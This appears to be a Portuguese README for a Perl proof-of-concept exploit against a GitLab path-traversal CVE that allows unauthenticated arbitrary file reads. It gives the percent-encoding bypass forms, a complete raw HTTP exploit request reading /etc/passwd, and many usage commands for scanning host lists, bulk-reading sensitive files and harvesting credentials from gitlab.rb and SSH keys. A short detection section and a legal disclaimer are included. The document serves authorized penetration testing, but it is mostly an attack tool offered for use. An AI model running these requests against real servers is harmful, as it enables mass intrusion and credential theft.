
Perl PoC exploiting CVE-2026-85706, an unauthenticated GitLab path traversal enabling arbitrary file read, with bulk scanning and credential harvesting.
Exclusivamente para testes de penetração autorizados e operações de Red Team.
O uso não autorizado é crime. Veja o Aviso Legal.
A CVE-2026-85706 é uma vulnerabilidade de path traversal com CVSS 10.0 nas edições Community e Enterprise do GitLab que permite a um atacante completamente não autenticado ler arquivos arbitrários do sistema de arquivos do servidor com uma única requisição HTTP. Nenhuma credencial, token ou interação do usuário é necessária.
| Branch | Faixa Vulnerável | Corrigido Em |
|---|---|---|
| 18.x | 18.7 → 19.1.7 | 19.1.8 |
| 19.2 | 19.2.0 → 19.2.5 | 19.2.6 |
| 19.3 | 19.3.0 → 19.3.1 | 19.3.2 |
O GitLab opera com três camadas de processamento HTTP:
Internet → [Nginx] → [Workhorse (Go)] → [Puma (Ruby/Rack)] → [Rails/Grape API]
O Workhorse é um proxy reverso inteligente: para certos endpoints de "upload" (commits de repositório, operações em arquivos), ele lê o corpo da requisição multipart, salva os dados em disco e reescreve a requisição antes de encaminhá-la ao Puma. Crucialmente, ele anexa um cabeçalho JWT (Gitlab-Workhorse-Api-Request) a cada requisição que intermedia. O Rails então valida esse JWT (via require_gitlab_workhorse!) antes de executar qualquer lógica do handler.
Camada 1 — Correspondência de rotas no Workhorse:
O Workhorse combina caminhos de requisição usando uma regex compilada que opera sobre a string de bytes bruta, codificada em percent-encoding. Ele não decodifica sequências %XX antes de fazer a correspondência.
Camada 2 — Roteamento Puma/Rack:
O Puma decodifica sequências %XX antes do Grape rotear a requisição. Portanto, uma requisição para /repository/%63ommits é decodificada para /repository/commits e roteada para CommitsController.
Camada 3 — Leitura de arquivo pré-autenticação:
Uma vez no handler do Rails (alcançado sem o JWT do Workhorse, pois o Workhorse nunca correspondeu à requisição), o handler lê params[:file][:path] da query string e chama:
File.open(params[:file][:path]) # ← acontece ANTES da autenticação
Ao codificar em percent-encoding um único caractere em um segmento estático do caminho, a requisição do atacante passa despercebida pelo Workhorse:
| Segmento | Original | Forma de Bypass | Char Codificado |
|---|---|---|---|
commits | commits | %63ommits | c → %63 |
commits | commits | %43ommits | C → %43 |
repository | repository | %72epository | r → %72 |
files | files | %66iles | f → %66 |
| (qualquer) | commits | commits/ | barra final |
| (qualquer) | commits | commits.json | sufixo Grape |
Após o arquivo ser aberto, o conteúdo é exfiltrado via o parser de query string do Rack:
Rack::Utils.parse_nested_query(File.read(path))
Se o arquivo contém um % não seguido de dois dígitos hexadecimais válidos (comum em arquivos de configuração Ruby, YAML de CI, logs, etc.), o Rack lança:
InvalidParameterError: Invalid parameter: invalid %-encoding (<BYTES_DO_ARQUIVO>)
Esse corpo de resposta 400 contém os bytes brutos do arquivo até o byte ofensivo — revelando o conteúdo do arquivo ao chamador não autenticado.
Arquivos sem sequências % exploráveis (ex.: /etc/passwd limpo) retornam um 401 ou erro de validação de parâmetro após a leitura: isso age como um oráculo de existência de arquivo (a leitura ainda aconteceu pré-autenticação).
POST /api/v4/projects/1/repository/%63ommits?file=&file.path=%2Fetc%2Fpasswd&file.size=1&Content-Type=application%2Fx-www-form-urlencoded HTTP/1.1
Host: gitlab.corp.com
User-Agent: cve-2026-85706-perl-poc/1.0.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
| Módulo | Pacote | Função |
|---|---|---|
LWP::UserAgent | libwww-perl | Cliente HTTP (obrigatório) |
LWP::Protocol::https | libwww-perl | Suporte HTTPS (obrigatório) |
URI::Escape | liburi-perl | Codificação de query string (obrigatório) |
Term::ANSIColor | libterm-ansicolor-perl | Saída colorida (opcional) |
JSON | libjson-perl | Modo de saída JSON (opcional) |
# Debian/Ubuntu
apt install libwww-perl liburi-perl libterm-ansicolor-perl libjson-perl
# RHEL/Fedora
sudo yum install perl-libwww-perl perl-URI perl-Term-ANSIColor perl-JSON
# CPAN
cpan LWP::UserAgent LWP::Protocol::https Term::ANSIColor JSON
# Tornar executável
chmod +x exploit.pl
Uso: exploit.pl [OPÇÕES]
Alvo:
-u, --url <URL> URL base do GitLab [padrão: http://localhost:8080]
-p, --project-id <ID> ID numérico ou namespace%2Fprojeto [padrão: 1]
Forms Commits API: projeto precisa ser anonimamente acessível
Forms Files API: qualquer valor funciona (leitura precede auth)
Verificação de exploitabilidade:
-c, --check Verificação de exploitabilidade em alvo único (rápida por padrão — ≤9 requests)
--full Eleva para varredura completa 4 estágios (27+ probes, todos os 22 forms)
-L, --check-host-list <ARQUIVO> Verifica múltiplos alvos (uma URL/host por linha)
Adicione --full para varredura 4 estágios em cada host
Leitura de arquivo único:
-f, --file <CAMINHO> Caminho absoluto no servidor (ex.: /etc/passwd)
Modo scan (T1083 — Descoberta de Arquivos e Diretórios):
-s, --scan Verifica wordlist embutida de arquivos sensíveis (38 caminhos)
-w, --wordlist <ARQUIVO> Usa lista personalizada (um caminho absoluto por linha)
-H, --harvest Extrai credenciais do conteúdo vazado (T1552.001)
Saída:
-o, --output <ARQUIVO> Salva toda a saída em arquivo (tee)
-j, --json Emite resultados como array JSON (requer JSON.pm)
-v, --verbose Exibe URL completa antes de cada sonda
--no-color Desativa saída colorida ANSI
Conexão:
-t, --timeout <N> Timeout por requisição em segundos [padrão: 15]
-d, --delay <N> Pausa entre requisições em segundos (float) [padrão: 0]
-r, --retries <N> Tentativas em caso de erro de conexão [padrão: 2]
-A, --user-agent <STR> Sobrescreve o User-Agent
| Rápido (padrão) | Completo (--full) | |
|---|---|---|
| Requests | ≤9 (1 preflight + ≤4×2) | 27+ |
| Saída antecipada | Sim — para no 1º differential confirmado | Não — varre todos os 22 forms |
| Versão do GitLab | Não | Sim |
| Forms testados | 4 representativos (Files API) | Todos os 22 (Commits + Files API) |
| Melhor para | Recon rápido, listas grandes de hosts | Relatórios de pentest, prep para --file/--scan |
Pipeline do modo rápido:
GET /api/v4/version — acessibilidade + detecção de GitLab/etc/hostname + canary únicocanary → 'local file not present' ∧ hostname ≠ canary → VULNERÁVEL (sai imediatamente)Pipeline completo (--full):
--project-id nos modos de verificaçãoA flag --project-id funciona em todos os modos, incluindo --check e --check-host-list. A interação é a seguinte:
| Grupo de bypass | Forms | Dependência do project ID |
|---|---|---|
Files API (%66iles, %46iles, re%70ository/files, …) | 14 | Nenhuma — a leitura de arquivo precede a verificação de projeto por design da CVE. Qualquer ID (mesmo inexistente) produz o sinal correto. |
Commits API (%63ommits, %43ommits, repository/commits/, …) | 8 | Obrigatória — projeto deve existir e ser anonimamente acessível. Retorna project-gate caso contrário. |
Orientação prática:
--check (rápido): usa apenas forms Files API → project ID irrelevante.--check --full: testa todos os 22 forms. Se souber um projeto público, passe --project-id <N> para confirmar também os forms Commits API.--check-host-list: um único ID raramente corresponde a um projeto público em todos os hosts. Omita.# Verificação rápida — ≤9 requests, veredito binário
./exploit.pl -u https://gitlab.corp.com --check
# Verificação rápida com projeto público conhecido
./exploit.pl -u https://gitlab.corp.com --check --project-id 5 # (padrão: --project-id 1)
# Verificação completa 4 estágios — versão + todos os 22 forms enumerados
./exploit.pl -u https://gitlab.corp.com --check --full
# Varredura rápida de lista de hosts (≤9 probes por host)
./exploit.pl --check-host-list targets.txt
# Varredura completa de lista de hosts (versão na tabela de resumo)
./exploit.pl --check-host-list targets.txt --full
# Lista de hosts, saída JSON para integração em pipeline
./exploit.pl --check-host-list targets.txt --json --output resultados.json
# Lista de hosts com delay de 2s e relatório salvo
./exploit.pl --check-host-list targets.txt --delay 2 --output relatorio.txt
# Ler um único arquivo
./exploit.pl -u https://gitlab.corp.com -f /etc/passwd
# Ler configuração principal do GitLab e extrair credenciais
./exploit.pl -u https://gitlab.corp.com -f /etc/gitlab/gitlab.rb --harvest
# Varredura completa com harvesting de credenciais e log em arquivo
./exploit.pl -u https://gitlab.corp.com --scan --harvest -o resultados-pentest.txt
# Wordlist personalizada, saída JSON, 1 segundo de delay entre requisições
./exploit.pl -u https://gitlab.corp.com -w caminhos.txt --harvest --delay 1 --json
# Leitura verbose de arquivo único (exibe URLs completas das requisições)
./exploit.pl -u https://gitlab.corp.com -f /etc/gitlab/gitlab.rb -v
| Veredito | Significado |
|---|---|
leak | Conteúdo do arquivo exposto no corpo da resposta via erro de parse do Rack |
leak-fragment | Echo parcial via fragmento de nome de parâmetro |
read-noecho | HTTP 401 no bypass path — ambíguo: ou arquivo foi lido pré-auth (servidor vulnerável, conteúdo sem sequência % inválida), ou auth disparou antes da leitura (servidor patchado). Use --check para confirmar via análise diferencial |
missing | Caminho de bypass funcionou; handler alcançado; arquivo ausente ou ilegível |
rewrite | Workhorse interceptou esta variante — bypass falhou |
project-gate | Commits API rejeitou o projeto; tente as variantes Files API |
noroute | Rails não roteou esta variante de caminho |
| Funcionalidade | PoC Python | Este PoC Perl |
|---|---|---|
| Variantes de bypass de caminho | 6 | 15 |
| Varredura em massa de arquivos (T1083) | ✗ | ✓ Wordlist embutida com 38 caminhos |
| Harvesting de credenciais (T1552.001) | ✗ | ✓ 22 padrões de credenciais |
| Saída JSON | ✗ | ✓ --json |
| Log em arquivo / tee | ✗ | ✓ --output |
| Mensagens de oráculo de existência | Básico | Explícito, com código de cores |
| Lógica de retry | ✗ | ✓ --retries configurável |
| Delay entre requisições | ✗ | ✓ --delay (float em segundos) |
| User-Agent customizável | ✗ | ✓ --user-agent |
| IDs namespace/projeto | ✗ | ✓ Auto-codifica / → %2F |
| Modo verbose | ✗ | ✓ --verbose |
secret_key_base e otp_key_base em gitlab.rb/home/git/.ssh/, /root/.ssh/)Buscar nos logs requisições POST ou PUT para caminhos /api/v4/projects/*/repository/ contendo:
%63, %43, %72, %70, %66, %46, etc.)file.path.json nos endpoints commits ou filesEsta ferramenta é disponibilizada estritamente para:
O uso não autorizado contra sistemas que você não possui ou para os quais não tem autorização escrita explícita para testar é ilegal em praticamente todas as jurisdições e pode resultar em processo criminal conforme leis de crimes de informática (Lei nº 12.737/2012 — "Lei Carolina Dieckmann", LGPD, CFAA, Computer Misuse Act, etc.).
O autor e contribuidores desta ferramenta não assumem qualquer responsabilidade por uso indevido ou danos causados por este software.